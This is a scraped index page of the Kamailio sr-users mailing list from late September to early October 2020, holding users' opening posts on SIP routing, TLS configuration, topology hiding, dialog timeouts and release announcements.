- sr-users - kamailio.org

I want separate subscribers in groups
by ahmed moghazy 06 Oct '20

06 Oct '20

Hello sir, I got the the log from kamailio as u explained thank you , now i want to put subscribers in groups so subscribers in group (a)could not call subscribers in group(b) , and i want to make subscriber could call any one but no one could call him , thank you.

2 1

Drop calls with response 200 without previous 180/183 reponses
by Valter Nogueira 05 Oct '20

05 Oct '20

I would like to use Kamailio to drop every call that is answered with no previous 180 / 183 responses or with 180 / 183 responses with no media attached (no SDP?). Is it possible? How could I accomplish this? Thanks, Valter

4 6

SIP message generator for Kamailio
by luke devon 05 Oct '20

05 Oct '20

Hi Team, May I check with you, Is there a SIP message generator available for the Kamailio? I want to test my setup using some test SIP messages. Many ThanksLuke.

5 6

xcap_client: storage of document in local DB
by Valentin Christoph 05 Oct '20

05 Oct '20

Hi all, Does anybody know, when the xcap_client deletes a registered document from the database? Is it possible to deregister a document? Are you sure, the documented get_elem API function is actually implemented? All the best Christoph

3 5

dlg.list_match - Invalid matching key parameter
by Ilie Soltanici 03 Oct '20

03 Oct '20

Hello, The dlg.list_match rpc function from the dialog module is not able to find dialogs matching by the callid key: kamcmd dlg.list_match callid eq "01234567890(a)192.168.0.1" getting back: error: 500 - Invalid matching key parameter I think it's because of this check: 2945:dialog.c: } else if(mkey.len==5 && strncmp(mkey.s, "callid", mkey.len )==0) { the mkey.len - should be 6 in this case, I recompiled locally the dialog module and seems to be working ok. Thank you.

3 2

Kamailio 5.2.8 released
by Henning Westerholt 02 Oct '20

02 Oct '20

Hello, Kamailio SIP Server v5.2.8 stable release is out. This is a maintenance release of the old stable branch (5.2), that includes fixes since the release of v5.2.7. There are no change to database schema or configuration language structure that you have to do on previous installations of v5.2.x. Unless major regressions are discovered after the release, this will be the last release of the 5.2 stable branch. The current stable branches 5.3 and 5.4 will continue to be maintained. Deployments running previous v5.2.x versions are strongly recommended to be upgraded to v5.2.8. For more details about version 5.2.8 (including links and guidelines to download the tar file or from GIT repository), visit: https://www.kamailio.org/w/2020/10/kamailio-5-2-8-released/ RPM, Debian/Ubuntu packages will be available soon as well. Many thanks to all contributing and using Kamailio! Cheers, Henning -- Henning Westerholt - https://skalatan.de/blog/ Kamailio services - https://gilawa.com<https://gilawa.com/>

1 0

403 Not relaying (DNS)
by Justin Bookshar 02 Oct '20

02 Oct '20

Hello, I'm trying to use Kamailio as a proxy and registrar component in our network and I would like to be able to do several things. I have an MCU capable of making SIP calls and using Kamailio as a proxy but it is not able to register with Kamailio. I would like to have Kamailio resolve addresses using its DNS component. I have attempted to do this, but I am getting 403 Not relaying responses when attempting to make calls through Kamailio that require the destination URI to be resolved. I have enabled debug and I don't see anything that would cause this. I have verified our /etc/resolv.conf file. When I use the primary DNS server in the list on an endpoint, I can get the address to resolve and the call completes correctly. I know I have working equipment on each end and the DNS server and URI are correct but going through Kamailio fails for both the MCU and endpoint when using it as a proxy. I have also tried to disable the internal resolver by adding the use_dns_cache=no option to the kamailio.cfg file. This produced the same result but as I mentioned I have independently verified the DNS server so I know the issue is isolated to Kamailio. Is it possible for Kamailio to do this or am I wrong in believing it can? The second thing I would like to do is to route calls to the MCU based on a prefix. I think I roughly have this working by adding a custom routing block to the request_route operation. I would also like to be able to make calls to local equipment that is not registered with the registrar and I am not able to do this either. I get the same 403 Not Relaying error when I attempt to call a local endpoint by IP address through the proxy that is also not registered with the registrar. Any info is greatly appreciated. version: kamailio 5.2.5 (x86_64/linux) flags: STATS: Off, USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE, USE_MCAST, DNS_IP_HACK, SHM_MEM, SHM_MMAP, PKG_MALLOC, Q_MALLOC, F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT, USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLACKLIST, HAVE_RESOLV_RES ADAPTIVE_WAIT_LOOPS=1024, MAX_RECV_BUFFER_SIZE 262144 MAX_URI_SIZE 1024, BUF_SIZE 65535, DEFAULT PKG_SIZE 8MB poll method support: poll, epoll_lt, epoll_et, sigio_rt, select. id: unknown compiled on 09:56:06 Oct 17 2019 with gcc 8.3.0 Thanks, Justin

1 0

MS Teams Serivce unavailable
by Andy Kama 02 Oct '20

02 Oct '20

Hi All, I have done all the changes to get teams working according to https://skalatan.de/en/blog/kamailio-sbc-teams#:~:text=Extend%20the%20MS%20… . but i find when i send a call to teams they send a response back with service unavailable. Can anyone guide me what I am doing wrong? I have added the record route and confirm it is being sent My setup is freeswitch -- kamailio --- teams

3 13

Releasing Kamailio 5.2.8
by Henning Westerholt 02 Oct '20

02 Oct '20

Hello, I am planning to release next week (likely on Friday 2nd October) the next minor version out of branch 5.2, version 5.2.8. Backports of fixed issues from git master will be integrated as usual. If you are aware of new issues which were not yet reported, let us know (by creating an issue on the tracker). Unless major regressions are discovered after the release, this will be the last release of the 5.2 stable branch. The current stable branches 5.3 and 5.4 will continue to be maintained. Cheers, Henning -- Henning Westerholt - https://skalatan.de/blog/ Kamailio services - https://gilawa.com<https://gilawa.com/>

1 1

Kamailio fails to start when tls module parameter 'config' contains a folder name
by Leonid Fainshtein 02 Oct '20

02 Oct '20

Hi, I am using Kamailio 5.4.1 installed from the packages on Ubuntu 18.04. When I define 'modparam("tls", "config", "<folder>")', Kamailio fails to start: ERROR: tls [tls_config.c:418]: tls_load_config(): cannot make tmp file configrcCczj ERROR: <core> [core/sr_module.c:849]: init_mod(): Error while initializing module tls (/usr/lib/x86_64-linux-gnu/kamailio/modules/tls.so) I checked the tls_load_config() function and found that when a folder is defined in the 'config' parameter, the function tries to open a temporary file in the working directory. I believe that the working directory at that point is the folder where Kamailio was started: /usr/sbin. I succeeded to launch Kamailio in two ways: Method 1: copy 'kamailio' to /tmp and modify kamalio.service accordingly. This experiment result made me think that the working folder is the folder where kamailio is started. Method 2: add Kamailio command line parameter "-w /tmp" (I also tried to define the Systemd 'WorkingDirectory' parameter but it didn't have any effect.) I think that the ultimate solution for this problem is to modify the tls_load_config() function in such a way that it will open the temporary file in a folder that is intended for the temporary files. For example, the /tmp folder in Linux and *BSD systems. I guess that /tmp is a good place in MacOS as well. Best regards, Leonid Fainshtein

2 3

TOPOS issue
by David Villasmil 01 Oct '20

01 Oct '20

Hello guys, I have this scenario where I have an ongoing transaction. I receive a 180 (non 100rel) with some to_tag, which i forward back to the caller. Then I receive an 183 (100rel) which is forwarded back to the caller, who in turn PRACKs it. It is then that Kamailio (apparently) can't match that transaction internally and replies to the caller (the one PRACKing the 183 (100rel)), with 493 FORBIDDEN. I'm attaching a trace flow. (Kamailio is 10.255.0.1) you need to open the email really wide to see it properly. Anyone ever encountered this? Is this valid and should work? |Time | 10.15.169.4 (FS) 10.255.0.1 (KAM) | (KAM) 1.1.1.10 1.2.3.13 | | | | | | | | | | | | | |0.000000 | INVITE SDP (g722 g71 | | | | |(6000) ------------------> (5060) | | | |0.000941 | 100 Telnyx trying | | | | |(6000) <------------------ (5060) | | | |0.046558 | | | INVITE SDP (g722 g71 | | | | |(33033) ------------------> (5060) | |0.102078 | | | 100 Trying, boss | | | | |(33033) <------------------ (5060) | |0.386867 | | | 180 Ring a ling a li | | | | |(33033) <------------------ (5060) | |0.387578 | 180 Ring a ling a li | | | | |(6000) <------------------ (5060) | | | |3.413368 | | | 181 Prending to forw | | | | |(33033) <------------------ (5060) | |3.414373 | 181 Prending to forw | | | | |(6000) <------------------ (5060) | | | |6.441704 | | | 183 Seeing what I ca | | | | |(33033) <------------------ (5060) | |6.442896 | 183 Seeing what I ca | | | | |(6000) <------------------ (5060) | | | |6.890173 | PRACK | | | | | |(6000) ------------------> (5060) | | | |6.895497 | 403 Forbidden R1 | | | | |(6000) <------------------ (5060) | | | |9.473035 | | | 486 Actually, I'm qu | | | | |(33033) <------------------ (5060) | |9.473561 | | | ACK | | | | | |(33033) ------------------> (5060) | |9.473902 | 486 Actually, I'm qu | | | | |(6000) <------------------ (5060) | | | |9.921200 | ACK | | | | | |(6000) ------------------> (5060) | | | Regards, David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

2 2

Record Route
by Andy Kama 01 Oct '20

01 Oct '20

Hi Guys I am trying to add a custom record route so i have added record_route_preset("mydomain:5061;transport=tls", "myip:5060"); yet kamailio is still not adding it in the sip message what am i doing wrong?

2 3

XHTTP_Prom syntax error with usrloc in Kamailio 5.3
by Tim Unkrig 30 Sep '20

30 Sep '20

Hello hello, I would like to monitor our production kamailio cluster (5.3) with prometheus and I was in the beginning so happy to spot the xhhtp_prom module. But when we enabled it, the output was in view of prometheus malformed in combination with the usrloc module, we got the following output: kamailio_usrloc_location-contacts 0 1597934423943 kamailio_usrloc_location-expires 0 1597934423943 kamailio_usrloc_location-users 0 1597934423943 Prometheus only accepts “_” instead of “-“. So unfortunately I get "strconv.ParseFloat: parsing "-contacts": invalid syntax” on the prometheus primary node, when I activated the scraper. This has been issued in the master branch of kamailio with a sanatize function for that problem. But I would like to avoid compiling modules by myself, because this can be messy from time to time. That´s why my question, is there maybe another way of fixing this? I really appreciate any comments here and thanks for your time, Tim Unkrig

2 1

xavu methods equivalent to that of xavp (e.g. xavp_get_child)
by Chaigneau, Nicolas 30 Sep '20

30 Sep '20

Using xavu (now that they have been fixed) in a custom C module, I've noticed that the following methods do not exist: xavu_get_child xavu_get_child_with_ival xavu_get_child_with_sval xavu_serialize_fields Though they are not strictly necessary, it could be useful to add them to Kamailio core. (Possibly with code refactoring, to avoid duplicating whole functions ?) What do you think? Regards, Nicolas. This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message.

1 0

Re: [SR-Users] Trying to use xavu with "two level naming" => fixed
by Chaigneau, Nicolas 30 Sep '20

30 Sep '20

Hello, I've rebuilt with the following commit: https://github.com/kamailio/kamailio/commit/aa8589ba66f984e93438a91a7fe8b26… Confirming the issue is now fixed. Thanks! Regards, Nicolas. De : Daniel-Constantin Mierla <miconda(a)gmail.com> Envoyé : mardi 29 septembre 2020 09:33 À : Kamailio (SER) - Users Mailing List; Chaigneau, Nicolas Objet : Re: [SR-Users] Trying to use xavu with "two level naming" Hello, can you try with the latest branch 5.4, there was a mistake in setting the callback function for parsing the name for this type of variable -- I just pushed a commit for in to master and 5.4 branches. Cheers, Daniel On 27.09.20 20:05, Chaigneau, Nicolas wrote: Hello, I'm trying to use xavu as described in Kamailio documentation: https://www.kamailio.org/wiki/cookbooks/5.4.x/pseudovariables#xavu_id_-_xav… $xavu(a=>b) = "xyz"; # <- two level naming supported However, this does not seem to work. The second level is ignored. When calling pv_xavu_print() it only shows the last element set, e.g.: $xavu(cdru=>one) = "one" ; $xavu(cdru=>two) = "two" ; pv_xavu_print() ; Result: 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:592]: xavx_print_list_content(): *** (l:0 - 0x7f217c55eab8) XAVU name: cdru 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:593]: xavx_print_list_content(): XAVU id: 1863997055 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:594]: xavx_print_list_content(): XAVU value type: 2 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:603]: xavx_print_list_content(): XAVU value (str): two 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:629]: xavx_print_list_content(): *** (l:0 - 0x7f217c55eab8) end 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:632]: xavx_print_list_content(): ----- end XAVU list: 0x7f217c55eab8 (level=0) Am I missing something, or is this a bug ? Regards, Nicolas. This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message. _______________________________________________ Kamailio (SER) - Users Mailing List sr-users(a)lists.kamailio.org<mailto:sr-users@lists.kamailio.org> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla -- www.asipto.com<http://www.asipto.com> www.twitter.com/miconda<http://www.twitter.com/miconda> -- www.linkedin.com/in/miconda<http://www.linkedin.com/in/miconda> Funding: https://www.paypal.me/dcmierla

1 0

P2P Video call over Public IP
by amitsharma＠coraltele.com 30 Sep '20

30 Sep '20

Dear Team, I was trying P2P video calling over Public IP with Kamailio. I have used Linphone as client. But my call is connected but no video and audio was there. For reference I am attaching Client and Kamailio logs. Any help will be appreciated. Thanks & Regards, Amit Sharma (Sr. Team Leader) (An ISO 9001:2008 company) Mobile: <tel:9891612004> tel:9891612004 PH: +91 120 2595870 Ext.: <tel:870> tel:870 Email : <mailto:amitsharma@coraltele.com> amitsharma(a)coraltele.com Web : <blocked::http://www.coraltele.com> www.coraltele.com

2 1

Computing a time difference when handling a stateless SIP request
by Chaigneau, Nicolas 30 Sep '20

30 Sep '20

Hello, New to Kamailio, first post on this ML. I'll probably ask dumb questions, please bear with me :) Here goes the first one. I would like to compute a time difference (with microseconds precision) when handling a stateless SIP request. I looked into the core functions and modules but did not find anything suitable. Before I start implementing this by myself, I'd like to know if there's a simpler way. Thanks for your help! Regards, Nicolas. This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message.

5 8

I want to get call info from kamailio
by ahmed moghazy 29 Sep '20

29 Sep '20

Excuse me , I want to get call info

3 2

TOPOS issue
by David Villasmil 29 Sep '20

29 Sep '20

Hello guys, I have this scenario where I have an ongoing transaction. I receive a 180 (non 100rel) with some to_tag, which i forward back to the caller. Then I receive an 183 (100rel) which is forwarded back to the caller, who in turn PRACKs it. It is then that Kamailio (apparently) can't match that transaction internally and replies to the caller (the one PRACKing the 183 (100rel)), with 493 FORBIDDEN. I'm attaching a trace flow. (Kamailio is 10.255.0.1) Anyone ever encountered this? Is this valid and should work? Regards, [image: prack.jpeg] David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

1 0

TOPOS issue
by David Villasmil 29 Sep '20

29 Sep '20

Hello all, I have this scenario where I have an ongoing transaction. I receive a 180 (non 100rel) with some to_tag, which i forward back to the caller. Then I receive an 183 (100rel) which is forwarded back to the caller, who in turn PRACKs it. It is then that Kamailio (apparently) can't match that transaction internally and replies to the caller (the one PRACKing the 183 (100rel)), with 493 FORBIDDEN. I'm attaching a trace flow. (Kamailio is 10.255.0.1) Anyone ever encountered this? Is this valid and should work? [image: Screenshot 2020-09-29 at 19.34.19.png] Thanks! David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

1 0

websocket transport protocol in Record-Route header
by Juha Heinanen 29 Sep '20

29 Sep '20

No matter if UA uses ws or wss to connect to Kamailio, when K routes INVITE from this UA and record_route() is called, K always adds ;transport=ws parameter to Record-Route URI, for example, Record-Route: <sip:192.168.43.83:7998;transport=ws;r2=on;lr> In this test, Kamailio is listening on that port like this: # SIP over WebSocket listen=tls:192.168.43.83:7998 Why doesn't K in this case add ;transport=wss to the R-R URI? -- Juha

2 5

uac_replace_from function
by Ilie Soltanici 29 Sep '20

29 Sep '20

Hello, The uac_replace_from seems not to be working properly in the ver 5.4. This is the header I'm trying to change: *From: "Admin" <sip:+123456789@local.ip>;tag=as11428589* by using this function: uac_replace_from("","sip:+123456789@domain.com"); I'm getting the following header: *From: <sip:+123456789@domain.com35316853757>;tag=as11428589* (Double space in the callerid name, and number appended after the domain) Thank you.

1 1

A possibility to disable the topology hiding for some destinations.
by Leonid Fainshtein 29 Sep '20

29 Sep '20

Hi, The 'topos' module has a very useful "event_route[topos:msg-sending]" option that allows very easily to disable topology hiding for ITSPs that requires the real data in the Contact header field. It looks like the feature is not supported in the 'topoh' module (ref. https://kamailio.org/docs/modules/5.4.x/modules/topoh.html). The available 'event_route[topoh:msg-outgoing]' option requires defining the remote server IP address (or a list of addresses in some cases) that is not always convenient. Is there a chance that "event_route[topoh:msg-sending]" will be added? Best regards, Leonid Fainshtein

2 3

Received parameter on Via
by Duarte Rocha 29 Sep '20

29 Sep '20

Greetings, When NAT is detected in my Kamailio, the proxy add the parameter "received" to the Via header which includes the source IP. What is the mechanic or function responsible for this behaviour? Does it come from the NATHELPER module? Best Regards,

4 5

Kamailio 5.4.1 keepalive module failed to find command ka*
by Jan Rozhon 29 Sep '20

29 Sep '20

Hello, I have just started experimenting with keepalive module on 5.4 branch. I am trying to check if the phone is online and active (iOS with Linphone). Based on the docs from here:

2 1

Rewrite BYE to Cancel
by Lars Olsson 29 Sep '20

29 Sep '20

hi, I have a Kamailio setup infront of a SIP system that do not handle cancellation of a INVITE correctly. The system sends out a BYE request instead of a Cancel request on non connected dialogs. I am trying to find a way to let Kamailio "translate" the BYE request to a Cancel reqeust for the ongoing INVITE dialog. Alternative if SEMS b2bua can do it, but currently it replies: "not sip-relaying BYE in not connected dlg", and I have not found any obvious way to rewrite it there. Any thoughts. I can not change the behavior of the remote system. Best Regards, Lars

3 11

Trying to use xavu with "two level naming"
by Chaigneau, Nicolas 29 Sep '20

29 Sep '20

Hello, I'm trying to use xavu as described in Kamailio documentation: https://www.kamailio.org/wiki/cookbooks/5.4.x/pseudovariables#xavu_id_-_xav… $xavu(a=>b) = "xyz"; # <- two level naming supported However, this does not seem to work. The second level is ignored. When calling pv_xavu_print() it only shows the last element set, e.g.: $xavu(cdru=>one) = "one" ; $xavu(cdru=>two) = "two" ; pv_xavu_print() ; Result: 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:592]: xavx_print_list_content(): *** (l:0 - 0x7f217c55eab8) XAVU name: cdru 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:593]: xavx_print_list_content(): XAVU id: 1863997055 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:594]: xavx_print_list_content(): XAVU value type: 2 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:603]: xavx_print_list_content(): XAVU value (str): two 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:629]: xavx_print_list_content(): *** (l:0 - 0x7f217c55eab8) end 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:632]: xavx_print_list_content(): ----- end XAVU list: 0x7f217c55eab8 (level=0) Am I missing something, or is this a bug ? Regards, Nicolas. This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message.

2 1

Dialog - timeout for dlg with CallID
by Ilie Soltanici 28 Sep '20

28 Sep '20

Hello, I'm trying to get CDR working in Kamailio by using the acc and dialog modules. Everything seemed to be working fine - until i noticed that for some of the calls the call duration is 0, even if that call has been successfully established and duration was for about a few minutes. In the Kamailio logs I'm getting such errors: WARNING: dialog [dlg_handlers.c:1649]: dlg_ontimeout(): timeout for dlg with CallID '304bad142b50bb3a7a117816439ea3d5' and tags 'as3adde5c7' '7d28152f-e0e3-4bcf-9d5c-21c3723b95c5' WARNING: acc [acc_cdr.c:230]: db_write_cdr(): fallback to dlg_only search because of message doesn't exist. This error I'm getting at about 2 min after the ACK message for 200 OK. I'm not sure that this is related to the dialog timeout, but below you can see the related configuration for the dialog module: modparam("dialog", "default_timeout", 10800) # 3 hours modparam("dialog", "early_timeout", 180) modparam("dialog", "noack_timeout", 90) Unfortunately, I'm not able to reproduce this issue, as that's happening randomly and just a few times per day. On the SIP Level i didn't notice any strange issues. Any ideas why is that happening? Thank you.

6 34

Lua kemi-test-suite now availble from luaRocks
by Yuriy Gorlichenko 28 Sep '20

28 Sep '20

Hello Kamailians! I'm glad to announce some updates about the Lua Kemi-test-suite which has been presented on KamailioWorld online 2020 conference https://github.com/ovoshlook/kemi-lua-test-suite There are some important updates that I hope will make your life easier if you use Lua KEMI. - Now (finally!) it is available via LuaRocks. So it is easy to go for now. No more manual source downloads! (this is the main reason I'm writing this message ). - More modules and some core functions have been mocked. It is still a lot of jobs that have to be done but the amount of available mocks is growing. - Added CRASH_PROTECTION functionality. So for now there is a mechanism which is checks if you calling a function with an incorrect amount of params ( see README ). - Extended mocking engine: now it is possible to mock any functions of KSR or third-party modules/libraries: for example, Redis, MySQL, or other connectors calls. P.S. suite still on development and changes from time to time, but published versions are stable and ready to use. P.P.S. Warm welcome to contributors.

2 1

lval_pvar_assign(): setting pvar failed
by Uttam Giri 28 Sep '20

28 Sep '20

Hi, i am using htable to assign internal transaction index and label.however its unable to assign the index and label modparam("htable", "htable", "hte=>size=8;autoexpire=300") $sht(hte=>id_index::$rU) = $T(id_index) $sht(hte=>id_label::$rU) = $T(id_label); Logs:- <script>: proceesing suspended in trasaction [10701:2082699975] Sep 28 04:44:19 ip-172-31-36-96 /usr/sbin/kamailio[98519]: ERROR: {1 29982 INVITE 8f62773bc3dc44a9adb32723f0d0e269} <core> [core/lvalue.c:353]: lval_pvar_assign(): setting pvar failed Sep 28 04:44:19 ip-172-31-36-96 /usr/sbin/kamailio[98519]: ERROR: {1 29982 INVITE 8f62773bc3dc44a9adb32723f0d0e269} <core> [core/lvalue.c:404]: lval_assign(): assignment failed at pos: (570,32-570,43) Sep 28 04:44:19 ip-172-31-36-96 /usr/sbin/kamailio[98519]: ERROR: {1 29982 INVITE 8f62773bc3dc44a9adb32723f0d0e269} <core> [core/lvalue.c:353]: lval_pvar_assign(): setting pvar failed Sep 28 04:44:19 ip-172-31-36-96 /usr/sbin/kamailio[98519]: ERROR: {1 29982 INVITE 8f62773bc3dc44a9adb32723f0d0e269} <core> [core/lvalue.c:404]: lval_assign(): assignment failed at pos: (571,32-571,43) Sep 28 04:44:19 ip-172-31-36-96 /usr/sbin/kamailio[98519]: INFO: {1 29982 INVITE 8f62773bc3dc44a9adb32723f0d0e269} <script>: [SUSPEND] htable key value [<null> -- <null>] Is there any solution for this issue? Thanks, Uttam

2 1

IMS diameter server module
by Pavithra M 28 Sep '20

28 Sep '20

Hi, could anyone please give me some inputs on ims diameter server.. How it can be used ? I tried to use ims diameter server to send http request from pcscf to pcf. But before sending http request, it is sending diameter request to pcf and it is getting failed. I need to have only http request such that my http api should be sent to pcf from pcscf.So I need some input on how it can be used. I have referred the link https://kamailio.org/docs/modules/5.4.x/modules/ims_diameter_server.html but couldnt able to get much details .. If anybody have worked on this, It would be helpful if you give some more details Thanks, Pavithra

1 0

IMS diameter server module
by Pavithra Mohanraja 28 Sep '20

28 Sep '20

Hi, could anyone please give me some inputs on ims diameter server.. How it can be used ? I tried to use ims diameter server to send http request from pcscf to pcf. But before sending http request, it is sending diameter request to pcf and it is getting failed. I need to have only http request such that my http api should be sent to pcf from pcscf.So I need some input on how it can be used. I have referred the link https://kamailio.org/docs/modules/5.4.x/modules/ims_diameter_server.html but couldnt able to get much details .. If anybody have worked on this, It would be helpful if you give some more details Thanks, Pavithra

1 0

Setting up Kamailio IMS
by luke devon 27 Sep '20

27 Sep '20

Hi Team, Can somebody share a guide to setup Kamailio IMS in ubuntu or centos, please? ThanksLuke

2 1

Linphone push notifications (iOS) and kamailio
by Jan Rozhon 26 Sep '20

26 Sep '20

Hi, I know this is kind of a wrong forum for this question, but I have got no answer from linphone forum so I am trying my luck here. I have kamailio with pretty much the default config with slight modification enabling me the push notifications for iOS (via curl) and late forking (t_suspend, t_continue). But my linphone on iOS although gets awaken does not present me with the call I am trying to establish. Did anyone of you guys experimented with similar setup? If so, to what degree were you successful and can you share some insights especially on the format of push notification where I suspect my problem to be rooted? Thanks in advance and once again, sorry if I am off-topic too much. Regards, Jan

4 5

SRVCC Support
by Hamid Hashmi 25 Sep '20

25 Sep '20

Do Module RTPENGINE Supports 'Replaces' header (RFC 3891), if yes then how to use this feature if no then will module RTPEngine will have support for 'Replaces' in the near future? I have been using Freeswitch for this functionality but facing many difficulties in it. Regards Hamid R. Hashmi

3 3

Mapping History-Info <-> Diversion headers
by Anonim Stefan 25 Sep '20

25 Sep '20

Hi guys, I am trying to map all History-Info to/from Diversion headers in a given SIP REQUEST, based on RFC 7544. I want to ask if you are aware of any module functions that does that? (e.g. something like convert_history_to_diversion() and convert_diversion_to_history()) Alternatively, I want to ask you what do you think of such module functions and in which module would they fit best? e.g. textops/tectopsx/diversion ?! Thank you, Stefan

2 1

usrloc - ka_mode timeout
by Ilie Soltanici 25 Sep '20

25 Sep '20

Hello, Is there any way to add those functions from the nathelper module to the usrloc module? *keepalive_timeoutnatping_interval* I'm looking to use ka_mode feature from the usrloc module in order to have roundtrip time computed for each extension but because those functions are missing in the usrloc module and per documentation this functionality conflicts in some way with nathelper module it's not recommended to have both modules enabled. Or maybe there is another way to have them "interconnected"? Thank you.

2 9

rtpproxy_manage and AWS
by Aymeric Moizard 25 Sep '20

25 Sep '20

Hi, I have 2 hosts on AWS behind NAT: One with rtpproxy: /usr/local/bin/rtpproxy -f -p /run/rtpproxy/rtpproxy.pid -s udp: 0.0.0.0:31500 -A 15.236.230.177 <http://15.236.230.177/15.236.230.177> -l 0.0.0.0 <http://0.0.0.0/0.0.0.0> -m 35000 -M 65000 -d DBUG:LOG_LOCAL5 -u rtpproxy:rtpproxy -F The other one, with a kamailio and using only rtpproxy_manage(); without parameters. I'm surprised because in my SDP being modified, kamailio is replacing with its KAMILIO private IP. (not the rtpproxy one) I see that rtpproxy and kamailio are exchanging data. Nothing obvious is coming out. Any obvious mistakes? Anything you need to help? Should I switch to another rtp engine? Regards Aymeric -- Antisip - http://www.antisip.com

2 3

Record Route
by Andy Kama 24 Sep '20

24 Sep '20

I am trying to add a record route to my initial invite but in the logs i can see it says inserted preset record route but if i look in the invite there is not record route here is my config record_route_preset("mydns:5061;transport=tls", "myip:5060");

1 0

TLS Error
by Andy Kama 24 Sep '20

24 Sep '20

Hi Guys I am getting a strange tls error and not sure why my kamailio config is #!define WITH_TLS #!ifdef WITH_TLS enable_tls=1 listen=tls:1.2.3.4:5061 /* upper limit for TLS connections */ tls_max_connections=2048 #!endif #!ifdef WITH_TLS loadmodule "tls.so" #!endif #!ifdef WITH_TLS # ----- tls params ----- modparam("tls", "config", "/usr/local/etc/kamailio/tls.cfg") #!endif ###tls.cfg [server:default] method = TLSv1.2+ verify_certificate = yes require_certificate = yes private_key = /usr/local/etc/kamailio/certs/privkey.pem certificate = /usr/local/etc/kamailio/certs/cert.crt ca_list = /usr/local/etc/kamailio/certs/cacert.pem [client:default] method = TLSv1.2+ verify_certificate = yes require_certificate = yes private_key = /usr/local/etc/kamailio/certs/privkey.pem certificate = /usr/local/etc/kamailio/certs/cert.crt ca_list = /usr/local/etc/kamailio/certs/cacert.pem Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8708]: INFO: {1 1 OPTIONS 84bbc013-5cd1-43a7-a240-106ec00aa628} <core> [core/tcp_main.c:2948]: tcpconn_1st_send(): quick connect for 0x7f776544c978 sock 13 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_server.c:1283]: tls_h_read_f(): protocol level error Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_util.h:42]: tls_err_ret(): TLS accept:error:14094418:SSL routines:ssl3_read_bytes:tlsv1 alert unknown ca Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_server.c:1287]: tls_h_read_f(): source IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_server.c:1290]: tls_h_read_f(): destination IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: <core> [core/tcp_read.c:1473]: tcp_read_req(): ERROR: tcp_read_req: error reading - c: 0x7f7765419b50 r: 0x7f7765419c78 (-1) Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: tls [tls_server.c:1283]: tls_h_read_f(): protocol level error Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: tls [tls_server.c:1287]: tls_h_read_f(): source IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: tls [tls_server.c:1290]: tls_h_read_f(): destination IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: <core> [core/tcp_read.c:1473]: tcp_read_req(): ERROR: tcp_read_req: error reading - c: 0x7f776544c978 r: 0x7f776544caa0 (-1)

1 0

Calling a user registered on a different kamailio
by Joey Golan 24 Sep '20

24 Sep '20

Hello, I’m trying to make a call between 2 users registered (TLS) on two different kamailio instances behind haproxy with NAT handling. UE1 is registered to kamailio1 UE2 is registered to kamailio2 DMQ and dmq_usrloc are enabled so each kamailio can see all registered users. What else do I need to do in order to make it work properly? Thanks, Joey.

2 3

Not seeing ACK to 200 as existing transaction
by Steve Bucklin 23 Sep '20

23 Sep '20

